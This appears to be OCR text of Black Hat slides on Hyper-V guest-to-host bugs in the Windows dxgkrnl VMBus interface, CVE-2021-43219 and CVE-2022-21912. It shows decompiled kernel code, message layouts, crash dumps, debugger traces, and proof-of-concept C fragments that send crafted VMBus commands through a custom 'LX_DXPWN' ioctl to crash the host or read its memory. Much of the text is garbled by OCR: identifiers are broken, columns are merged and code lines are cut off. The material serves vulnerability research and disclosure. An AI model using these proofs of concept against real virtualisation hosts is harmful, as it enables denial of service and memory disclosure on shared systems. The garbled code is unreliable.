Informa vl3 = PagedPoolZeroedArray<DXGSYNCOBIECT *,4>::AllocateElements(&v58, v12);
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DXG_HOST VIRTUALGPU VMBUS::VmBusSignalSyncObject

vd2 hdevice = LODWORD(v9 buf-»syncobject.device);
vd3 object count = v9 buf->syncobject.object count;
.pobjects = (  int64)&v9 buf->syncobject.sync_handle;

vad = (struct DXGPROCESS *)*((_QWORD *)vl + 6);
*(_QWORD *)EEYiEt-GIatilaslighdaelilaull]l. flags = Bi64;
va7 signsyncobjfromcpull e TREnTr v s (Vs Ta -
ST -l [l g R el laall| . object count = v43 object count;
VETIES -Gl sy Rl ilaill] . pfence values = ( int6d)v24 pfence values;
vh2 = Bibd;
DXGDEVICEBYHANDLE : : DXGDEVICEBYHANDLE ( (DXGDEVICEBYHANDLE *)&v53, (unsigned int)v42 hdevice, vid4, &v52);
vd 7 = vb2;

( v52 )

{

DXGDEVICEACCESSLOCKSHARED : : DXGDEVICEACCESSLOCKSHARED( { DXGDEVICEACCESSLOCKSHARED *)&vw55, v52);
COREDEVICEACCESS: : COREDEVICEACCESS (&v62, vd7, 0i6d);
v51 = COREDEVICEACCESS: :AcquireShared( (COREDEVICEACCESS *)&ve2, 0i6d);
( v51 >= 8 )
v51 = SignalSynchronizationObjectFromCpu (& ERER-0E Gl lsyRageldadall], *( (struct DXGPROCESS **)vl + 6), vd7);
COREACCESS : : ~COREACCESS ( (COREACCESS *)&v64); -
COREACCESS : :~COREACCESS( {(COREACCESS *)&v63);

Information Classification: General



bif&khat :

W=, — A== Tt

v42 hdevice = LODWORD(v9 bu{qss
vd3 object count = v9 buf->J129
pﬂhjr¥3?
vad = (struct DXGPROCESS *){ . _
*(_QWORD *)

[

(i1 1 TR i s TR

L Pl = 3 LED

r\\._l

[

| LS

=T SlEHSHHLGh1"“:

r\\._l

o I

264 va7 _signsyncobjfromcpulal T EEN
265 v57 signsyncobjfromcpulel:ylEEE
266 =T 5igﬂ5“nc0bj$rnmcpu.pfenuf%i
267 v52 = 0i64; -i;
268 DXGDEVICEBYHANDLE : : DXGDEVICY 4
269 vad7 = v52; 140
278 ( v52 ) —
271 1 N ";
272 DXGDEVICEACCESSLOCKSHARED|
273 EDHEDEUIEEAEEESS..EDHEDEU”__J
274 w51 = COREDEVICEACCESS: :A{ 146
275 ( v51 »>= 8 ) L
)276 v5l = SignalSynchr&niza#T:§
277 COREACCESS : : ~COREACCESS(({ 150
278 COREACCESS : :~COREACCESS( (4 151
154
158
Information Classification: General 1549
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vle buflen = *{(unsigned int *)vl + @x16);
v1l/ Length MonitoredFenceValueArray = 8 * v10 objectcount;
v18 Offset MonitoredFenceValueArray = 4 * (v1®@ objectcount + v15) + 9x38;
( (unsigned int)vle buflen < v18 Offset MonitoredFenceValueArray )
LABEL_65;
{ v9 buf-»syncobject.flags & 2 )

{ 'v9 buf-»>syncobject.device )

{

vl4 = WdlLogNewEntry5 WdError(vl@ objectcount, v16 buflen);

*(_QWORD *)(v14 + 24) = 3374ie64;

LABEL 12;
¥
v19 = ExAllocatePoolWithTag((POOL TYPE)512, Ox18uitd, 0x4B677844u);
P = v19;
( w19 )

{

v21 = WdlLogNewEntry5 WdLowResource(v20);

*(_QWORD *)(v21 + 24) = 338@i64;

WdLogEvent5 WdlLowResource(v21);

vbl = -1873741801;

LABEL 66;

¥
*(_OWORD *)v19 = @i64d;
v19[2] = @ie4;
*((_BYTE *)P + 16) =
*(_QWORD *)P = *{ QWORD *)(*( OQWORD *)(*(( QWORD *)vl + 5) + @xb68ib4d) + Ox80i6d);
*((_QWORD *)P + 1) = v9 buf-»syncobject.device;
v1® objectcount = (unsigned int)v9 buf->syncobject.object count;
LODWORD(v16 buflen) = *(( DWORD *)vl + 0x16);

v22 = (unsigned int)v1l6 buflen - v18 Offset MonitoredFenceValueArray;

v23 pContextArray = (unsigned int *)(&v9 buf->syncobject.sync_handle + (unsigned int)v1® objectcount);
( (unsigned int)v22 »>= v17 Length MonitoredFenceValueArray )
LSO TCIEIDEE = &v23 pContextArray[v9 buf-»syncobject.context count];
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DXG_HOST VIRTUALGPU VMBUS::VmBusSignalSyncObject

vl but = v7 buf;
{( 'v7_buf )
LABEL_69;
P = @i6d;
v1@ objectcount = (unsigned int)v7 buf-»syncobject.object count;
( !'( DWORD)v1® objectcount && !(v7 buf-»syncobject.flags & 2)
|| (v8 = @xFFFFi64, (unsigned int)vl@ objectcount > @xFFFF) )
{
vll = WdLogNewEntry5 WdError(vl® objectcount, v8);
vl2 = (unsigned int)v9_buf-»>syncobject.object count;
LABEL 63:
*(_QWORD *)(vll + 6x18) = v12;
LABEL_64;
I}

{

vl5 = v7 buf-»syncobject.context count;
vli = @,
( 'vi5 || v15 » @xFFFF )
{
vll = WdlLogNewEntry5 WdError(vle objectcount, OxFFFFib64);

{(unsigned int)v9 buf-»syncobject.context count;
LABEL_63;

( !'LODWORD(v7_buf-»syncobject.device) || v7_buf->syncobject.flags & 2 )

v7 _buf (structiGUEStData_HmBUESignalSyncﬂbject *)CastToVmBusCommand<DXGKVMB _COMMAND VSYNCREMOTINGCTRL>(( inté6d)vl);

GuestData CommandBuf ?

; syncobject dxgkvmb command signalsyncobject ?

GuestData VmBusSignalSyncObject ends

command_id dq -
process dd -
channel type dd
command_type dd -

214 reserved dd :

718 GuestData CommandBuf ends

dxgkvmb_command_signalsyncobject struc ;

object count dd
flags dd
context count dd
reserved dd
010 fence value
218 device
5 sync_handle :
dxgkvmb command sigr

T L L W ]

—

alsyncobject ends

Information Classification: General
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v7 _buf (Sfrucf_GUEStData_HmBu5Sign315yncﬂbject *CastToVmBusCommand<DXGKVME COMMAND VSYNCREMOTINGCTRL>(( intéed)vl);

vl but = v7 buf;
{( 'v7_buf )
LABEL_69;
P = 0i64;
v1@ objectcount = (unsigned int)v7 bu
( !'( DWORD)v1® objectcount && !(v7
|| (v8 = @xFFFFi64, (unsigned int)v
d
vll WdlLoghewEntry5 WdError{vl® ob
vl2 = (unsigned int)}v9_buf->syncobj
LABEL 63:
*(_QWORD *)(v1l + 8x18) = vl12;
LABEL_64;

( !'LODWORD(v7 buf->syncobject.devi

GuestData VmBusSignalSyncObject struc
command GuestData CommandBuf ?

vl5 = v7 buf-»syncobject.context co
vl3

0;
( 'wi5 || v15 > @xFFFF )

1
vll = WdlLogNewEntry5 WdError(v1e

{unsigned int)v9 buf-rsynco
LABEL_63;

offset name - size
0x00 command 0x18
0x18 object_count 0x04
0x1C flags 0x04
0x20 context_count 0x04
0x24 reserved 0x04
0x28 fence_value 0x08
0x30 device 0x08
0x38 ObjectHandleArray[object_count] 4 * object_count

ContextArray[context _count]

4 * context _count

MonitoredFenceValueArray[object_count]

8 * object_count

Information Classification: General
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black hat® vle buflen = *{(unsigned int *)vl + @x16);
= == ;:_ v1l/ Length MonitoredFenceValueArray = 8 * v10 objectcount;
122 v18 Offset MonitoredFenceValueArray = 4 * (v1® objectcount + v15) + 9x38;
123 ( (unsigned int)vle buflen < w18 Offset MonitoredFenceValueArray )
124 LABEL_65;
125 { v9 buf-»syncobject.flags & 2 )
126 {
127 { 'v9 buf-»>syncobject.device )
vad?2 hdevice = LODWORD(v9 buj s {

2k vd3 object count = v9 buf->§12° v14 = WdlLogNewEntryS WdError(v1@_objectcount, v16_buflen);

761 .pobij{ 13¢ *(_QWORD *)(v14 + 24) = 3374i64;

i = +){ 131 LABEL_12;

262 vad = (struct DXGPROCESS *){ .- )

263 VR 57 signsyncobjy EEE v19 = ExAllocatePoolWithTag({POOL TYPE)512, @x18ui6d, Ox4B677844u);

264 va7 _signsyncobjfromcpulal T EEN P = v19;

265 v57_signsyncobjfromcpuleliy I ERE ( v19 )

266 v57_signsyncobjfromcpuigg=l] e {

6T 52 — Bibd- 137 v21 = WdlLogNewEntry5_ WdlLowResource(v28);

04 v ) 138 *(_QWORD *)(v21 + 24) = 3380i64;

£0G DXGDEVICEBYHANDLE : : DXGDEVICY] 43¢ WdLogEvent5 WdLowResource(v21);

269 vd 7 = vb2; 148 v51l = -1873741801,;

270 ( v52 ) 141 LABEL_66;

e 142 }

= { 143 *(_OWORD *)v19 = 0i64;

272 DXGDEVICEACCESSLOCKSHAREDY) 4,4 v19[2] = @i6A4;

273 COREDEVICEACCESS: : COREDEV] 145 *((_BYTE *)P + 16) = 1;

274 v51 = COREDEVICEACCESS: :A{ 146 *(_QWORD *)P = *(_QWORD *)(*(_QWORD *)(*({_QWORD *)vl + 5) + @x68i64) + @x80i64);

275 ( v51 »>= 0 ) %%? *{(_QNQRD P+ 1) = v?_buF—%Syncnbject.device% .

276 v51 = SignalSynchronizal 1. LOORORD (16, buFLen) — *({ DHORD )01+ ort6ys o

2711 COREACCESS : :~COREACCESS( (4 15¢ }

278 COREACCESS : :~COREACCESS( (4 15 v22 = (unsigned int)v1l6 _buflen - v18 Offset MonitoredFenceValueArray;

v23 pContextArray = (unsigned int *)(&v9 buf->syncobject.sync_handle + (unsigned int)v1® objectcount);
( (unsigned int)v22 »>= v17 Length MonitoredFenceValueArray )
LSO TCIEIDEE = &v23 pContextArray[v9 buf-»syncobject.context count];

Ln I
[N

158 s 24 p-l-ence values SRS
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PoC Code

pwn->device = ddd.
pwn->command _id = ©;

pwWn->process = 2,

pwn->channel type =

pwn->command_type

pwn->datalength = Ox

memset{data, Ox0E€
pwn->wait = 1;
pwn->data = data;

createsync = (struct dxgkvmb command createsyncobject *)data;

createsync->devic
createsync->info.
createsync->info.
createsync->info.
createsync->info.
createsync->info.
createsync->info.
pwn-»>res = result

A -
- 2
—
=’

3, Bx2aaaaabB);

e = pwn->device
type = 5;

flags.value = ©
monitored fence
monitored fence
monitored fence
monitored fence

¥

ioctl(fd, LX _DXPWN, pwn);
printf("sync_handle @x%x\n", *(u32 *)(result + @x88));

sync_handle = *(u

32 *){result +

»

MLt oy

.initial fence value = G;
.fence cpu virtual address
.fence gpu virtual address
.engine affinity = @,

1w L1k =

Information Classification: General

pwn->device = ddd.device;
pwn->command_id = ©;
pwn->process = 2,
pwn->channel type =
pwn->command_ type
pwn->datalength = 0x24;

memset{data, ©x00
pwn->wait = 1;

pwn->data = data;
*(u32 *)(data + @
*(u32 *)(data + €
*(ubd *)(data
*(ubd *)(data
*(ubd *)(data + €
*(u32 *)(data + @
pwn->res = result;
ioctl(fd, LX DXPWN, pwn);

a;

= @ H

= pwn->device;
sync_handle;

+
4+ b
+ @
+
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CVE-2021-43219

NULL Pointer Reference: DXGK_VMBCOMMAND SUBMITCOMMAND

Information Classification: General

*#%x¥% Fatal Svy=tem Error:

O=z0000007e
(0xFFFFFEFFFCO00000S, OxFFFFFE0628BEBAEY, DxFFFFO00F276BD028, OxFFFFI08F276BCE6AD)

A fatal =v=tem error has occurred.

Debugger entered on first trv; Bugcheclk callbacls=s have not been invoked.

A fatal =v=tem error hasz cccurred.

For analw=i= of thi=s file.

nt | DbgBreakPointWithStatus:

fff££806° 1ebif 070 co

B

kd: L
Child-5F

tff£908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tff£908f°
tf££908f°
tf££908f°
tf££908f°
FE££208E°
tff£908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tf££908f°
tff£908f°

276bb878
276bb380
276bb8e0
276bbif0
276b=030
276b=070
276b=0e0
276bc=110
276bc=830
276bcet0
276bd0d0
276bd260
276bd2al
276bd410
276bd910
276bd960
276bdall
276bda?0
276bdb10
276bdbe0

FetAddr

Effff806°
Effff806°
Effff806°
fffffa06"
fffff806°
Effff806°
Effff806°
Effff806°
fffff806°
fffffaie’
Effff806°
Effff806°
Effff806°
fffff806°
Effff806”
Effff806°
Effff806°
fffffa06"
fffff806°
oooooooo”

Iuan

lanalv=ze —v

int

ledlZad?
ledl20bb
lebf72d7
leclZlbe
l=bcedit
lecO0Ost
l=ascdd?
l=a=b9ch
lecl92ac
lec05443
28bbbac9
28el1lb4fs
28d4e=7f2
28deb3td
28dd=ede
28deNgdd
l=abl505s
1=b55345
l=ebf=8-8
gooooooon

3

Call Site

nt | DbgBrealkkPointWithStatus

nt | KiBugCheckDebugBreal+0=x12

nt | EeBugCheckZ+0x946

nt | EeBugCheckEx+0x107

nt | PepSy=tenThreadStartupsfilt50+0x44

nt! _C =specific_handler+0x9f

nt l|EtlpEzecuteHandlerForEzcept ion+0=xf

nt IFtlDispatchException+0x297

nt lKilispatchEzxcept ion+0x1 86

nt | KiExceptionDispatch+0xldc
ntlKiPageFault+0x443

dEglkrnl /CWin3dZkLlocks:  Lock+0=x85

dEglkrnl |DEGCOHNTEET : :HandleVistaBltStub+0x135
dzglkrnl | DeglkSubnitCommandInternal+l=zacdaz
dzglrnl |DEG_HOST _VIETUALGET _VHBUS: : YmBusSubmitCommnand+0x12d
dzglrnl | VTmBusEzecuteComnandInFProcessContext+0x198
dzglkrnl | Y\mEBusProcessFacket+0=x2b4

nt | ExpWorkerThread+0=x105

nt |PepSy=tenThreadStartup+0=55
ntlKisStartSystenThread+0xz28
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CVE-2021-43219

DxgkSubmitCommandinternal

;36 = *(_QWORD *)(*(( QWORD *) RDI + 2) + 1912i64);
v3/ present_history token = 8ibd;
( ((unsigned int}w.flagﬁ >> 1) & 1)

v37 present_history token = (struct COREDEVICEACCESS *}w.present_hiStnr}r_tﬂken;
( v36 && *( QWORD *)v36 && *( _DWORD *)(v36 + 12) != *(( _DWORD *)v33 + 6) )
v37 present_history token = *{struct COREDEVICEACCESS **)v3b6;

( v37 present_history token )

(unsigned int *}&m.hroadCESt_context['_];

( .broadcast_context count <= 1u )
a/ = 0ied;
v35 = DXGCONTEXT: :HandleVistaBltStub(
v33,
v3/7 present history token,
{{unsigned int}w.flagf. »» 1) & 1,
&ad ,
(struct DXGADAPTERSTOPRESETLOCKSHARED *)&v112,
.broadcast_context count - I

al

|
a’,
(struct DXGCONTEXT **)P);

LABEL 46;
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DXGCONTEXT::HandleVistaBItStub

__int6d a3 flags, DXGADAPTER **ad, struct DXGADAPTERSTOPRESETLOCKSHARED *a5,
unsigned int ab, unsigned int *a/, struct DXGCONTEXT **aﬁl

= ab;
= this;
= ad;
vb5 = ab;
v/8 = ad;
vbl = a3 _flags;
vll = @;
VAN LSRR UL R R )2 present_history tokenf

a CWin32kLocks structure pointer.

Q@R L IY]a2 present_history toker 9 ) emberS Of the CW|n32kLOCkS
v67 = (struct VIDSCH_SUBMIT_DATA BASE *)(unsigned int) e ruiin ey ; ‘ are |Ilegal NOW, Cause BSOD

i

v12 = *((_QWORD *)this + 2);

a L T T O = R T 8] 22 present_history tokenjieSsrd v16 = DXGPROCESS: :GetCurrent(8164);

vl3 = @i64; - - vl7 *((_QWORD *)v9 + 2);

LODWORD(v14) = HIDWORD (IR ) & Bx7FFFFFFF; vi8 = *((_QWORD *)v16 + 11);

v77 = Bib4; - - ( vbd )

vb3 = @i6d; v19 = vbd,;

v15 Bicd;

v79 = 8i64; v19 = *{ QWORD *)(*( QWORD *)(v17 + 16) + 16i64);

ve4 = *(_QWORD 8x738); v73 = *(_QWORD *)(*(_QWORD *)(v17 + @x28) + 0x58ins4);

GE = e _mm_store sil28((_ ml128i *)&v71, (_ ml128i)@i64a);

el = v72 = 8i64;

Eg; _mm_store si128((__ml128i *)&74, (_ ml128i)@i64):

V66 — Buiba; L) S i

V62 = O- v7ib = vl19;

- DXGADAPTERSTOPRESETLOCKSHARED: :Release(v65);
COREDEVICEACCESS: :Release ( (COREDEVICEACCESS *)v1@);

vll = CWin32klocks::Lock({(CWin32klocks *)&v71, vi4, 1, 1, @

Information Classification: General



O CVE-2021-43219

black hat

= ==

PoC Code

ddd.adapter handle = 8x18808006¢

enumada.adapters = adapterinfo;

enumada.num_adapters = &4,

ioctl(fd, LX DXENUMADAPTERS2, &enumada);

printf{"@x%x @x%x\n", enumada.num adapters, enumada.adapters->adapter handle);
ddd.adapter handle = enumada.adapters->adapter handle;

ioctl(fd, LX DXCREATEDEVICE, &ddd);
printf{"0x%x\n",ddd.device);
createcontext->device = ddd.device;
createcontext-»priv_drv_data size = Ox380;
createcontext->priv_drv_data = dabuf; pwn->device = ddd.device;
ioctl(fd, LX DXCREATECONTEXTVIRTUAL, createcontext); pwn->command_id = 8;

printf{"[+]create context virtual @x%11x\n",createcontext->context); pun->process = 2;
pwn->channel type =

pwn->command type
pwn->datalength = 0x13 (struct d3dkmt_ submitcommand);

struct didkmt submitcommand * submitcmd = NULL;
* — .
struct didkmt_pwn *pwn MNULL; T R

unsigned char * data = NULL; pun->res = result;

pwn = malloc(0x4068); | pwn->wait = 1;

data = malloc(@x2aaaaab@); submitcmd = {struct d3dkmt_submitcommand *)data;
submitcmd->command buffer 0x08,
submitcmd->command length = 0x88;
submitcmd->flags.value = 8x3;
submitcmd->broadcast_context _count = 1;
submitcmd->broadcast context[@] = createcontext->context;
submitcmd->present_history token = 8x5008000080000000,
submitcmd->num_primaries = 1;
submitcmd->written primaries[8] = @
submitcmd->num_history buffers = O;
submitcmd->priv_drv_data size = 0x08;
ioctl(fd, LX DXPWN, pwn);

Information Classification: General
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Debugging

CVE-2021-43219

7. kd: bu dxgkrnl ! DegkSubmitCommnandInternal+Ass9D
70 kd: g

Brealkpoint 0 hit

dzglrnl | DexgkSubnitCommandInternal+0xabc89d ;

ffiffale’ 28dde?ed efocechbicOn call dxglrnl | DEGCOHNTERT : (HandleVi=staBltStub (ff{ff806° 28=1b3c0)
1: kd: r» @rdx

rdxz=8000000000000000

1: kd: t

dxzglrnl | DEGCOHNTEXT : :HandleVistaBltStub:

fffffale" 28elbicO 77 s

1: kd: t

dxzglrnl | DEGCONTEXT : :HandleVistaBltStub+0x?Z ;

fffffale’ 2821bic? 53 push rb=

0: kd: pc

dxzglrnl | DEGCOHTEXT : :HandleVi=taBltStub+0xhbd :

fffffa06" 2821b47d =88ebdeaff call drglrnl | DEGPROCESS: :GetCurrent (ff£f£f£f806° 28cc1210)

f: kd: poc

dzglkrnl | DEGCONTEXT : :HandleVi=taBltStub+0xlle:

fffffalc" 28elbdce =B87Lf7d0EE call drglrnl | DEGADAPTERSTOPEESETLOCESHARED : :Relea=e (ffff{f806° 28baacdf)
G kd: poc

deglrnl |DEGCONTEXT . (HandleVistaBltStub+0=xl1l6:

fffffalc" 282lbddh =82993d8£f call dxglrnl |COREDEVICEACCESS: (Feleasze (fffff806° 28badbad)
G kd: poc

deglrnl | DEGCONTEXT . :HandleVistaBltStub+0x130:

fffffa0e 28=21lbd4fl efeflidaff call dzgkrnl ICWind2kTocks: Tocl (fffff806° 23bbhY=4d]
G kd: dg @rcx

fE£££908f° 276bd340 00000000 QOOOOQOQCOO QOOQOOOOOQO"OOOOQOOO0

ff££908f° 276bd350 00000000 QOOOOQOQCOO OQOOQOOOOOQO"OOO0OQOOO0

fE££908f° 276bd360 00000000 QO0O0OQQOQ0O0 OQOOQOOOQQOQ"OOOQOQOOO00

fE££908f° 276bd370 00000000 0OO0O0OQOQCO ffffed40f 8BfEBOOD

ff££908f  276bd380 00000000 QOOOOQOQCOO OQOOQOOOOOQO"OOO0OQOOO0

fE££908f 276bd390 80000000 00000000 ff£f£f£f806° 28elbid?

ff££908f° 276bd3a0 00000000 OOOOOQOQCOO OOQOOOOOQO"OOOOQOOO0

fff£908f 276bd3bl ffffeebd 4ed05701 00000000 0O0O0OOQOO1A

b: lkd: t

dEglkrnl ICTin3dZkLlocks:  Loclk:

fffffade" 28bbb7ed 488952408 mow guword ptr [r=sp+8].rbx
B: kd: p

dEgkrnl ICTin3dZkLlocks:  Lock+0=5

fffff806" 28bbb7e9 4889%cc2410 oW guord ptr [r=p+l0h].rbp
B: kd: p

dzglkrnl ICVindZkLocks:  Lock+0=a:

fffffo06" Z28bbb7ee 4889742418 oW gquord ptr [rsp+l8h].r=1
B kd: p

deglkrnl |CWindklocks:  Loclk+0=f :

fffffale" 28bEL7E3 G7 push rdi

ﬁ: kd>_p

fffffale" 28bbb?f3 &7

6: kd: p

deglkrnl | CWindZkLlocks:  Lock+0=10:
fffffale" 28bbb7f4 4156

6: kd: p

deglkrnl | CWin3dZkLlocks:  Lock+0=x12 :
fffffale" 28bbb?fn 4157

6: kd: p

deglkrnl | CWin3dZkLlocks:  Lock+0x14 :
fffffale” 28bbb?fd 4883ec20

6: kd: p

deglkrnl | CWinidZkLlocks:  Lock+0x13:

pu=h

pu=h

pu=h

=ub

ffff£806° 28bbb?ic 65488b042533010000 mow

6: kd: p
degkrnl | CWin3dZkLlocks:  Lock+0x21 :
fffffale 28bbba05 488049

owr

rdi

rli

rlh

r=p. 20h

rax,gword ptr g=:[188h]

rhx, rcx

B: kd: p
degkrnl | CWinidZkLocks:  Lock+0=x24 :
ffff£806° 28bbbB08 488b4938

owr

rox, gword ptr [rocx+38h]

Information Classification: General

B: kd: p

dEglrnl | CWin3dZkLocks:  Lock+0x7h:

fffff80e" 28bbbA5E 488b4bL18
B: kd: p

dEglrnl | CWin3dZkLocks:  Lock+0=7f :

fffffa0e 28bbbi63 8b442460
B: Lkd: p

dEglkrnl | CWin3dZkLlocks:  Lock+0=33:

fffffa06" 28bbEbALT £7d8
B: kd: p

4130

G: kd: r @rcx

rcx=0000000000000000

mowr

ro=.gword ptr [rba+18h]

dzEglkrnl | CWinidZkLocks:  Lock+0=85:

oy

neg

o

eax,dword ptr [rsp+elh]

[=1=hod

rax,.gword ptr [rocx+30h]
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Case Studies
Arbitrary Address Read.:
DXGK_VMBCOMMAND_ WAITFORSYNCOBJECTFROMGPU

CVE-2022-21912

CONTEXT :
rax=0000000000000000
rdz=ffff=1800a6750a0
rip=fff{f280029d=d4=t
ri=ffffc005=81d8480
rll=f{f{c005=81d8400
rld=0000000000000001

ffffc005c81d7a70 — [ cxr O=ffffcl05c81d4Ya70)

rhe=ffff=1800a6750a0
r=1=4141414141414141
rep=ffffc005c81d43470

r3=0000000000000000
rlZ=0000000000000000
r15=0000000000000000

rcx=0000000000000005%
rdi=ffffel1800a675080
rhp=ffffc005z81488=9
rli=f££f££30024072c60
rl13=fiff9b8iefefechl

iopl=0
c==00110

===0018

nv up

d==002hb
dzglkrnl IWaitForSynchronizationObjectFromGpu+l=x1945:

21 ng hE ac po v

e=s=002b f==0053

g==00Zb

efl1=00250297

ffif£800° 29ded4=b 4cBb36 nov rld4 gword ptr [rsi] ds:002b:414141417°41434141="277272720700727700707077
Fesetting default scope
EXCEPTIOH_STR: 0O=xc0000005
STACK TEXT:
ffffc005 8148470 £££££800° 29debatn ff£i9b85 " deled4b0 00000000 Q0000001 QOOOOQOQ0O" Q0000000 Q0000000 QOO0QQ00 dzglkrnl | TaitForSynchronizationObjectFromGpu+lz1945
fff£fc005° 28148720 £££££800° 29£50=86 aooooooo" 00000000 f£f££9b85 =4£31chb0 f£££218071764£00L0 000000007 00000000 dzglkrnl | DegkWaitForSynchronizationObjectFromGpulnternal +0x316
ffffc005°=B8143850 £££££800° 29f4105 ffffelo 00000000 f£££9b285° =5e%=chb0 00000000 00000000 f££f£f9BBL edf3lchi dzglkrnl | DEG HOST VIRTUALGPT VMEUS: : VmBusWaitForSynocObjectFromGpu+0=z2 06
ffffc005°=B8143950 £££££800°29f451=d ffff=005° 00000000 00000000 Q0000000 ffff=el80" 1leectel fE££££800°29f44£00 dzgkrnl | VmBusExecuteCommandInProcessContext+0x198
ffffc005°=B81d8a00 £££££800° 240BBE51E ffffell0 00000000 f£££=2180°072dbed0 £E££££800°29£44£10 f£ffel18f £9691c80 dzglkrnl | VYmBusProcessPacket+0xz2bd
ffffc005 c81d8a70 £££££800° 24155855 ffifeld0 " 072dbed0 00000000 Q0000080 ffifelff £9692040 048L4865° 00014970 nt | ExpWorkerThread+0=x105
fff£fc005°=81d8b10 £££££200° 241£=802 ffffadl0 5603180 ££££=2180° 07240640 £E££££200° 241552800 000302££° 3dd28b00 nt | PespSystenThreadStartup+0=EE
ffffc005°=81d8bE0 00000000 AQOOOOO0 ffff=005 8149000 f££££=005° =8142000 00000000 00000000 OOOQQOQOOO" ooOOOOOQ0 ntlKiStartSy=tenThread+0=28

SYMBOL_NAME:

deglkrnl | WaitForSynchronizationObjectFromGpu+1945

Information Classification: General
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DXG_HOST VIRTUALGPU_VMBUS::VmBusWaitForSyncObjectFromGpu

= (struct GuestData_ WaitForSyncObjectFromGpu *)CastToVmBusCommand<DXGKVMB_COMMAND RELEASEKEYEDMUTEXSYNC>(( int64)vl);
@16_databu i)
LABEL_26;
v38 = Bibd,;
v39 = B@ibd,;
w7 = DXGPROCESS: :GetCurrent();
vl = vi;
(v7)

[ Wy Ry |
[ T o

(%]
|

I LN
L & D 60 =~

{

(SRR I

DXGCONTEXTBYHANDLE : : DXGCONTEXTBYHANDLE ( (DXGCONTEXTBYHANDLE *)&v23, JEIEar:->syncgpu.context, v7, &38, 0);
( w38 )
{
DXGHWQUEUEBYHANDLE : : DXGHWQUEUEBYHANDLE ( ( DXGHWQUEUEBYHANDLE *)&v32, JEESERNL->syncgpu.context, v@, &v39, 0);
( 1v39 )

(o L T =9

1
v1l4 = WdlLogNewEntry5 WdError(vl3);

*(_QWORD *)(v14 + 0x18) = (unsigned int) L I - >SYNCEpU. context; i
WdLogEvent5 WdError(vi4d); Offset name SiZze
v37 = 8xC00000aD;
DXGHWQUEUEBYHANDLE : : ~DXGHWQUEUEBYHANDLE ( (DXGHWQUEUEBYHANDLE *)&v32);
DXGCONTEXTBYHANDLE : : ~DXGCONTEXTBYHANDLE ( (DXGCONTEXTBYHANDLE *)&v28); 0x00 command 0x18
LABEL_25:
VmBusCompletePacket (*( (struct VMBPACKETCOMPLETION_  **)vi + 9), &v37, 4u);
va iglfmp SheTackE e e . ’ 0Ox18 context 0x04
LABEL_26; :
} 0x1C object_count 0x04
DXGHWQUEUEBYHANDLE : : ~DXGHWQUEUEBYHANDL E ( (DXGHWQUEUEBYHANDLE *)&v32) ; —
} -
DXGCONTEXTBYHANDLE : : ~DXGCONTEXTBYHANDLE ( (DXGCONTEXTBYHANDLE *)&v28); 0x20 |egacy_fence_0bjECt 0x08
0x28 fence values 0x08
0x30 ObjectHandles 4 * object_count

woea

A
—
i
o
A
]
A
—
i
o
-
A
[
F,

S
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DXG_HOST VIRTUALGPU_VMBUS::VmBusWaitForSyncObjectFromGpu

= (struct GuestData_ WaitForSyncObjectFromGpu *)CastToVmBusCommand<DXGKVMB_COMMAND RELEASEKEYEDMUTEXSYNC>(( int64)vl);

(Q16_databutl

LABEL_26;

V2o - oied, offset name size
w7 = DXGPROCESS: :GetCurrent();
s 0x00 command 0x18
; DEGEDI:JIEiT?YHANDLE::D}:GCDNTEXTB‘T’HMJDLE((DKGCGNTEITBYHMDLE *)av28, PN ->syncgpu. colil )¢ K e: context Ox04
83 v18 object_count = QJEITIME->syncgpu.object_count; .
gi_l . ( (unsigned int)(v18 object count - 1) <= @xFFFE ) OX]_C ObJeCt_Count OXO4
B v19 = 12 * v18 object count + 8x25; 1
. ! e 0x20 |legacy fence object 0x08
: v21, context - EREETERID >syncgpo.concext 0x28 fence_values 0x08
R — 0x30 ObjectHandles |4 * object_count

v22_legacy_fence_object = [EEIRIan - >syncgpu.legacy_fence_object;

Dst.hContext = v21 context;

Dst.0ObjectCount = v18 object count;

Dst.pObjectHandleArray = (_ int6d) FIREIEINE + (unsigned int)(8 * v18 _object count + 8x28);
( v22 legacy fence object )
Dst.pFenceValue = JIEEAEL - >syncgpu.fence_value;

Dst.pFenceValue = 9i64; 1919} S nchUfence Value
v23 = Bik4; -
( 'v22 legacy fence object )
v23 = ( unsigned _ int6d *)&NGEYELN - >syncgpu. fence_value;
v24 = DxgkWaitForSynchronizationObjectFromGpulnternal (&Dst, ©, @ibd, v23, 9);

V== Qs W o RSN W R N TR S~ BV < R Ty [

=]
LD

Lo I o I -y Wy AT i v

C
C
C
C
C
C
G
b
G
B
fa
B
Fa
b
s
b
G
B
fa
B
Fa
b
Fa
B
G
B
7
7
7
7
7
7
i
7
7
7

(o IR o IR S W [ NS T v

3 WD B0~

Py

o 0o oo
[y
=

oo T o O e R T e O o L Y o Y Y e O o L o O SO Y O Y

|95 I S W NS T e v
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DxgkWaitForSynchronizationObjectFromGpuinternal

__int6é4  fastcall DxgkWaitForSynchronizationObjectFromGpuInternal(
struct D3DEMT WATTFORSYNCHRONIZATIONOBIECTFROMGPU *al,
bool a2, BOOLE a3, unsigned __ inté64 *ad, bool ab)

Omit some code
struct D3DKMT WAITFORSYNCHRONIZATIONOBIECTFROMGPU *v3;
struct D3DKMT WAITFORSYNCHRONIZATIONOBJECTFROMGPU S5rc;

Omit some code

w5 ad = (struct DXGPROCESS *)ad;
vb = a3;

vyl = a2;

vd = al;

v3ig = -1;

v39 = @ie64,;

( gword_1C0O0BOSBO & 2 ) I E

v3 DXGTHREAD: : GetCurrent()) == 0i6d

( vlil & !(*(_BYTE *)(v1l + 347) & @x10)
| _
| (v14 = (struct DXGPROCESS *)*((_QWORD *)v31 + 1)) == @i64 )

{

vae = 1; { )

v38 = 2043; vld = v13;
( Microsoft Windows DxgKrnlEnableBits & @x2 ¥

McTemplateK@qg EtwWriteTransfer(al, &FEventPro Vd1(= :14;
"

1
{ P = @ie4d,;
vAB = 0; vag = ©;
} ( w7 )
DXGETWPROFILER BASE: :PushProfilerEntry(&v38, 264
vig = Pgﬁet[urﬁrentppoceggivg}}; *{_DHGHD *]E'SFC.hCDntEJdZ = *{_DHEIRD *}&UB—}'hCDntEXt;
vll = PsGetProcessDxgProcess(v18); *(_OWORD *)&Src. RanaEilE = *(_OWORD *)&vE- > ;
vl3 {struct DXGPROCESS *)vll; v19 = (unsigned int *)Src.pObjectHandleArray;
( vi1 &% !'(*(_BYTE *)(vl11l + 247) & 0x18) vl7 = *( _OQWORD *)&Src.hContext;
